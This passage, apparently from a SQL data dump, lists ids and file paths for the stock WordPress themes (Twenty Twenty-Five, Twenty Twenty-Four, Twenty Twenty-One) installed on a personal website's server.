(1221,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/sections/section-1.json','wp-content/themes/twentytwentyfive/styles/sections/section-1.json'),
(1222,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/sections/section-2.json','wp-content/themes/twentytwentyfive/styles/sections/section-2.json'),
(1223,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/sections/section-3.json','wp-content/themes/twentytwentyfive/styles/sections/section-3.json'),
(1224,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/sections/section-4.json','wp-content/themes/twentytwentyfive/styles/sections/section-4.json'),
(1225,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/sections/section-5.json','wp-content/themes/twentytwentyfive/styles/sections/section-5.json'),
(1226,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-1.json','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-1.json'),
(1227,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-2.json','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-2.json'),
(1228,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-3.json','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-3.json'),
(1229,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-4.json','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-4.json'),
(1230,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-5.json','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-5.json'),
(1231,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-6.json','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-6.json'),
(1232,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/typography/typography-preset-7.json','wp-content/themes/twentytwentyfive/styles/typography/typography-preset-7.json'),
(1233,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/404.html','wp-content/themes/twentytwentyfive/templates/404.html'),
(1234,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/archive.html','wp-content/themes/twentytwentyfive/templates/archive.html'),
(1235,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/home.html','wp-content/themes/twentytwentyfive/templates/home.html'),
(1236,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/index.html','wp-content/themes/twentytwentyfive/templates/index.html'),
(1237,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/page-no-title.html','wp-content/themes/twentytwentyfive/templates/page-no-title.html'),
(1238,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/page.html','wp-content/themes/twentytwentyfive/templates/page.html'),
(1239,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/search.html','wp-content/themes/twentytwentyfive/templates/search.html'),
(1240,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/single.html','wp-content/themes/twentytwentyfive/templates/single.html'),
(1241,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/theme.json','wp-content/themes/twentytwentyfive/theme.json'),
(1242,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/css/button-outline.css','wp-content/themes/twentytwentyfour/assets/css/button-outline.css'),
(1243,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/cardo/LICENSE.txt','wp-content/themes/twentytwentyfour/assets/fonts/cardo/LICENSE.txt'),
(1244,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/cardo/cardo_italic_400.woff2','wp-content/themes/twentytwentyfour/assets/fonts/cardo/cardo_italic_400.woff2'),
(1245,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/cardo/cardo_normal_400.woff2','wp-content/themes/twentytwentyfour/assets/fonts/cardo/cardo_normal_400.woff2'),
(1246,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/cardo/cardo_normal_700.woff2','wp-content/themes/twentytwentyfour/assets/fonts/cardo/cardo_normal_700.woff2'),
(1247,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/instrument-sans/InstrumentSans-Italic-VariableFont_wdth,wght.woff2','wp-content/themes/twentytwentyfour/assets/fonts/instrument-sans/InstrumentSans-Italic-VariableFont_wdth,wght.woff2'),
(1248,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/instrument-sans/InstrumentSans-VariableFont_wdth,wght.woff2','wp-content/themes/twentytwentyfour/assets/fonts/instrument-sans/InstrumentSans-VariableFont_wdth,wght.woff2'),
(1249,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/instrument-sans/OFL.txt','wp-content/themes/twentytwentyfour/assets/fonts/instrument-sans/OFL.txt'),
(1250,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/inter/Inter-VariableFont_slnt,wght.woff2','wp-content/themes/twentytwentyfour/assets/fonts/inter/Inter-VariableFont_slnt,wght.woff2'),
(1251,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/inter/LICENSE.txt','wp-content/themes/twentytwentyfour/assets/fonts/inter/LICENSE.txt'),
(1252,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/jost/Jost-Italic-VariableFont_wght.woff2','wp-content/themes/twentytwentyfour/assets/fonts/jost/Jost-Italic-VariableFont_wght.woff2'),
(1253,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/jost/Jost-VariableFont_wght.woff2','wp-content/themes/twentytwentyfour/assets/fonts/jost/Jost-VariableFont_wght.woff2'),
(1254,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/jost/OFL.txt','wp-content/themes/twentytwentyfour/assets/fonts/jost/OFL.txt'),
(1255,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/abstract-geometric-art.webp','wp-content/themes/twentytwentyfour/assets/images/abstract-geometric-art.webp'),
(1256,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/angular-roof.webp','wp-content/themes/twentytwentyfour/assets/images/angular-roof.webp'),
(1257,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/art-gallery.webp','wp-content/themes/twentytwentyfour/assets/images/art-gallery.webp'),
(1258,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/building-exterior.webp','wp-content/themes/twentytwentyfour/assets/images/building-exterior.webp'),
(1259,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/green-staircase.webp','wp-content/themes/twentytwentyfour/assets/images/green-staircase.webp'),
(1260,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/hotel-facade.webp','wp-content/themes/twentytwentyfour/assets/images/hotel-facade.webp'),
(1261,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/icon-message.webp','wp-content/themes/twentytwentyfour/assets/images/icon-message.webp'),
(1262,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/museum.webp','wp-content/themes/twentytwentyfour/assets/images/museum.webp'),
(1263,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/tourist-and-building.webp','wp-content/themes/twentytwentyfour/assets/images/tourist-and-building.webp'),
(1264,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/windows.webp','wp-content/themes/twentytwentyfour/assets/images/windows.webp'),
(1265,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/functions.php','wp-content/themes/twentytwentyfour/functions.php'),
(1266,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/parts/footer.html','wp-content/themes/twentytwentyfour/parts/footer.html'),
(1267,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/parts/header.html','wp-content/themes/twentytwentyfour/parts/header.html'),
(1268,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/parts/post-meta.html','wp-content/themes/twentytwentyfour/parts/post-meta.html'),
(1269,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/parts/sidebar.html','wp-content/themes/twentytwentyfour/parts/sidebar.html'),
(1270,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/banner-hero.php','wp-content/themes/twentytwentyfour/patterns/banner-hero.php'),
(1271,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/banner-project-description.php','wp-content/themes/twentytwentyfour/patterns/banner-project-description.php'),
(1272,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/cta-content-image-on-right.php','wp-content/themes/twentytwentyfour/patterns/cta-content-image-on-right.php'),
(1273,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/cta-pricing.php','wp-content/themes/twentytwentyfour/patterns/cta-pricing.php'),
(1274,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/cta-rsvp.php','wp-content/themes/twentytwentyfour/patterns/cta-rsvp.php'),
(1275,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/cta-services-image-left.php','wp-content/themes/twentytwentyfour/patterns/cta-services-image-left.php'),
(1276,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/cta-subscribe-centered.php','wp-content/themes/twentytwentyfour/patterns/cta-subscribe-centered.php'),
(1277,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/footer-centered-logo-nav.php','wp-content/themes/twentytwentyfour/patterns/footer-centered-logo-nav.php'),
(1278,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/footer-colophon-3-col.php','wp-content/themes/twentytwentyfour/patterns/footer-colophon-3-col.php'),
(1279,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/footer.php','wp-content/themes/twentytwentyfour/patterns/footer.php'),
(1280,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/gallery-full-screen-image.php','wp-content/themes/twentytwentyfour/patterns/gallery-full-screen-image.php'),
(1281,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/gallery-offset-images-grid-2-col.php','wp-content/themes/twentytwentyfour/patterns/gallery-offset-images-grid-2-col.php'),
(1282,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/gallery-offset-images-grid-3-col.php','wp-content/themes/twentytwentyfour/patterns/gallery-offset-images-grid-3-col.php'),
(1283,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/gallery-offset-images-grid-4-col.php','wp-content/themes/twentytwentyfour/patterns/gallery-offset-images-grid-4-col.php'),
(1284,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/gallery-project-layout.php','wp-content/themes/twentytwentyfour/patterns/gallery-project-layout.php'),
(1285,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-404.php','wp-content/themes/twentytwentyfour/patterns/hidden-404.php'),
(1286,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-comments.php','wp-content/themes/twentytwentyfour/patterns/hidden-comments.php'),
(1287,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-no-results.php','wp-content/themes/twentytwentyfour/patterns/hidden-no-results.php'),
(1288,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-portfolio-hero.php','wp-content/themes/twentytwentyfour/patterns/hidden-portfolio-hero.php'),
(1289,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-post-meta.php','wp-content/themes/twentytwentyfour/patterns/hidden-post-meta.php'),
(1290,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-post-navigation.php','wp-content/themes/twentytwentyfour/patterns/hidden-post-navigation.php'),
(1291,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-posts-heading.php','wp-content/themes/twentytwentyfour/patterns/hidden-posts-heading.php'),
(1292,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-search.php','wp-content/themes/twentytwentyfour/patterns/hidden-search.php'),
(1293,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-sidebar.php','wp-content/themes/twentytwentyfour/patterns/hidden-sidebar.php'),
(1294,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-about-business.php','wp-content/themes/twentytwentyfour/patterns/page-about-business.php'),
(1295,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-home-blogging.php','wp-content/themes/twentytwentyfour/patterns/page-home-blogging.php'),
(1296,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-home-business.php','wp-content/themes/twentytwentyfour/patterns/page-home-business.php'),
(1297,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-home-portfolio-gallery.php','wp-content/themes/twentytwentyfour/patterns/page-home-portfolio-gallery.php'),
(1298,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-home-portfolio.php','wp-content/themes/twentytwentyfour/patterns/page-home-portfolio.php'),
(1299,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-newsletter-landing.php','wp-content/themes/twentytwentyfour/patterns/page-newsletter-landing.php'),
(1300,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-portfolio-overview.php','wp-content/themes/twentytwentyfour/patterns/page-portfolio-overview.php'),
(1301,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/page-rsvp-landing.php','wp-content/themes/twentytwentyfour/patterns/page-rsvp-landing.php'),
(1302,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/posts-1-col.php','wp-content/themes/twentytwentyfour/patterns/posts-1-col.php'),
(1303,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/posts-3-col.php','wp-content/themes/twentytwentyfour/patterns/posts-3-col.php'),
(1304,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/posts-grid-2-col.php','wp-content/themes/twentytwentyfour/patterns/posts-grid-2-col.php'),
(1305,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/posts-images-only-3-col.php','wp-content/themes/twentytwentyfour/patterns/posts-images-only-3-col.php'),
(1306,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/posts-images-only-offset-4-col.php','wp-content/themes/twentytwentyfour/patterns/posts-images-only-offset-4-col.php'),
(1307,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/posts-list.php','wp-content/themes/twentytwentyfour/patterns/posts-list.php'),
(1308,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/team-4-col.php','wp-content/themes/twentytwentyfour/patterns/team-4-col.php'),
(1309,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-archive-blogging.php','wp-content/themes/twentytwentyfour/patterns/template-archive-blogging.php'),
(1310,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-archive-portfolio.php','wp-content/themes/twentytwentyfour/patterns/template-archive-portfolio.php'),
(1311,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-home-blogging.php','wp-content/themes/twentytwentyfour/patterns/template-home-blogging.php'),
(1312,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-home-business.php','wp-content/themes/twentytwentyfour/patterns/template-home-business.php'),
(1313,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-home-portfolio.php','wp-content/themes/twentytwentyfour/patterns/template-home-portfolio.php'),
(1314,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-index-blogging.php','wp-content/themes/twentytwentyfour/patterns/template-index-blogging.php'),
(1315,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-index-portfolio.php','wp-content/themes/twentytwentyfour/patterns/template-index-portfolio.php'),
(1316,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-search-blogging.php','wp-content/themes/twentytwentyfour/patterns/template-search-blogging.php'),
(1317,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-search-portfolio.php','wp-content/themes/twentytwentyfour/patterns/template-search-portfolio.php'),
(1318,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-single-portfolio.php','wp-content/themes/twentytwentyfour/patterns/template-single-portfolio.php'),
(1319,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/testimonial-centered.php','wp-content/themes/twentytwentyfour/patterns/testimonial-centered.php'),
(1320,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/text-alternating-images.php','wp-content/themes/twentytwentyfour/patterns/text-alternating-images.php'),
(1321,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/text-centered-statement-small.php','wp-content/themes/twentytwentyfour/patterns/text-centered-statement-small.php'),
(1322,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/text-centered-statement.php','wp-content/themes/twentytwentyfour/patterns/text-centered-statement.php'),
(1323,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/text-faq.php','wp-content/themes/twentytwentyfour/patterns/text-faq.php'),
(1324,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/text-feature-grid-3-col.php','wp-content/themes/twentytwentyfour/patterns/text-feature-grid-3-col.php'),
(1325,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/text-project-details.php','wp-content/themes/twentytwentyfour/patterns/text-project-details.php'),
(1326,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/text-title-left-image-right.php','wp-content/themes/twentytwentyfour/patterns/text-title-left-image-right.php'),
(1327,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/readme.txt','wp-content/themes/twentytwentyfour/readme.txt'),
(1328,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/screenshot.png','wp-content/themes/twentytwentyfour/screenshot.png'),
(1329,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/style.css','wp-content/themes/twentytwentyfour/style.css'),
(1330,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/styles/ember.json','wp-content/themes/twentytwentyfour/styles/ember.json'),
(1331,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/styles/fossil.json','wp-content/themes/twentytwentyfour/styles/fossil.json'),
(1332,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/styles/ice.json','wp-content/themes/twentytwentyfour/styles/ice.json'),
(1333,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/styles/maelstrom.json','wp-content/themes/twentytwentyfour/styles/maelstrom.json'),
(1334,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/styles/mint.json','wp-content/themes/twentytwentyfour/styles/mint.json'),
(1335,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/styles/onyx.json','wp-content/themes/twentytwentyfour/styles/onyx.json'),
(1336,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/styles/rust.json','wp-content/themes/twentytwentyfour/styles/rust.json'),
(1337,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/404.html','wp-content/themes/twentytwentyfour/templates/404.html'),
(1338,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/archive.html','wp-content/themes/twentytwentyfour/templates/archive.html'),
(1339,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/home.html','wp-content/themes/twentytwentyfour/templates/home.html'),
(1340,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/index.html','wp-content/themes/twentytwentyfour/templates/index.html'),
(1341,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/page-no-title.html','wp-content/themes/twentytwentyfour/templates/page-no-title.html'),
(1342,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/page-wide.html','wp-content/themes/twentytwentyfour/templates/page-wide.html'),
(1343,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/page-with-sidebar.html','wp-content/themes/twentytwentyfour/templates/page-with-sidebar.html'),
(1344,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/page.html','wp-content/themes/twentytwentyfour/templates/page.html'),
(1345,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/search.html','wp-content/themes/twentytwentyfour/templates/search.html'),
(1346,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/single-with-sidebar.html','wp-content/themes/twentytwentyfour/templates/single-with-sidebar.html'),
(1347,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/single.html','wp-content/themes/twentytwentyfour/templates/single.html'),
(1348,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/theme.json','wp-content/themes/twentytwentyfour/theme.json'),
(1349,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/404.php','wp-content/themes/twentytwentyone/404.php'),
(1350,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/archive.php','wp-content/themes/twentytwentyone/archive.php'),
(1351,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/custom-color-overrides.css','wp-content/themes/twentytwentyone/assets/css/custom-color-overrides.css'),
(1352,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/ie-editor.css','wp-content/themes/twentytwentyone/assets/css/ie-editor.css'),
(1353,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/ie-editor.css.map','wp-content/themes/twentytwentyone/assets/css/ie-editor.css.map'),
(1354,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/ie.css','wp-content/themes/twentytwentyone/assets/css/ie.css'),
(1355,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/ie.css.map','wp-content/themes/twentytwentyone/assets/css/ie.css.map'),
(1356,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/print.css','wp-content/themes/twentytwentyone/assets/css/print.css'),
(1357,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/print.css.map','wp-content/themes/twentytwentyone/assets/css/print.css.map'),
(1358,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/style-dark-mode-rtl.css','wp-content/themes/twentytwentyone/assets/css/style-dark-mode-rtl.css'),
(1359,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/style-dark-mode.css','wp-content/themes/twentytwentyone/assets/css/style-dark-mode.css'),
(1360,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/style-dark-mode.css.map','wp-content/themes/twentytwentyone/assets/css/style-dark-mode.css.map'),
(1361,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/style-editor-customizer.css','wp-content/themes/twentytwentyone/assets/css/style-editor-customizer.css'),
(1362,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/style-editor.css','wp-content/themes/twentytwentyone/assets/css/style-editor.css'),
(1363,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/style-editor.css.map','wp-content/themes/twentytwentyone/assets/css/style-editor.css.map'),
(1364,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/Daffodils.jpg','wp-content/themes/twentytwentyone/assets/images/Daffodils.jpg'),
(1365,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/Reading.jpg','wp-content/themes/twentytwentyone/assets/images/Reading.jpg'),
(1366,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/in-the-bois-de-boulogne.jpg','wp-content/themes/twentytwentyone/assets/images/in-the-bois-de-boulogne.jpg'),
(1367,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/playing-in-the-sand.jpg','wp-content/themes/twentytwentyone/assets/images/playing-in-the-sand.jpg'),
(1368,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/roses-tremieres-hollyhocks-1884.jpg','wp-content/themes/twentytwentyone/assets/images/roses-tremieres-hollyhocks-1884.jpg'),
(1369,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/self-portrait-1885.jpg','wp-content/themes/twentytwentyone/assets/images/self-portrait-1885.jpg'),
(1370,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/the-garden-at-bougival-1884.jpg','wp-content/themes/twentytwentyone/assets/images/the-garden-at-bougival-1884.jpg'),
(1371,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/villa-with-orange-trees-nice.jpg','wp-content/themes/twentytwentyone/assets/images/villa-with-orange-trees-nice.jpg'),
(1372,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/young-woman-in-mauve.jpg','wp-content/themes/twentytwentyone/assets/images/young-woman-in-mauve.jpg'),
(1373,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/customize-helpers.js','wp-content/themes/twentytwentyone/assets/js/customize-helpers.js'),
(1374,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/customize-preview.js','wp-content/themes/twentytwentyone/assets/js/customize-preview.js'),
(1375,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/customize.js','wp-content/themes/twentytwentyone/assets/js/customize.js'),
(1376,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/dark-mode-toggler.js','wp-content/themes/twentytwentyone/assets/js/dark-mode-toggler.js'),
(1377,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/editor-dark-mode-support.js','wp-content/themes/twentytwentyone/assets/js/editor-dark-mode-support.js'),
(1378,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/editor.js','wp-content/themes/twentytwentyone/assets/js/editor.js'),
(1379,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/palette-colorpicker.js','wp-content/themes/twentytwentyone/assets/js/palette-colorpicker.js'),
(1380,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/polyfills.js','wp-content/themes/twentytwentyone/assets/js/polyfills.js'),
(1381,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/primary-navigation.js','wp-content/themes/twentytwentyone/assets/js/primary-navigation.js'),
(1382,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/responsive-embeds.js','wp-content/themes/twentytwentyone/assets/js/responsive-embeds.js'),
(1383,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/skip-link-focus-fix.js','wp-content/themes/twentytwentyone/assets/js/skip-link-focus-fix.js'),
(1384,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/01-settings/file-header.scss','wp-content/themes/twentytwentyone/assets/sass/01-settings/file-header.scss'),
(1385,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/01-settings/fonts.scss','wp-content/themes/twentytwentyone/assets/sass/01-settings/fonts.scss'),
(1386,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/01-settings/global.scss','wp-content/themes/twentytwentyone/assets/sass/01-settings/global.scss'),
(1387,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/02-tools/functions.scss','wp-content/themes/twentytwentyone/assets/sass/02-tools/functions.scss'),
(1388,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/02-tools/mixins.scss','wp-content/themes/twentytwentyone/assets/sass/02-tools/mixins.scss'),
(1389,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/03-generic/breakpoints.scss','wp-content/themes/twentytwentyone/assets/sass/03-generic/breakpoints.scss'),
(1390,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/03-generic/clearings.scss','wp-content/themes/twentytwentyone/assets/sass/03-generic/clearings.scss'),
(1391,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/03-generic/normalize.scss','wp-content/themes/twentytwentyone/assets/sass/03-generic/normalize.scss'),
(1392,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/03-generic/reset.scss','wp-content/themes/twentytwentyone/assets/sass/03-generic/reset.scss'),
(1393,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/03-generic/vertical-margins.scss','wp-content/themes/twentytwentyone/assets/sass/03-generic/vertical-margins.scss'),
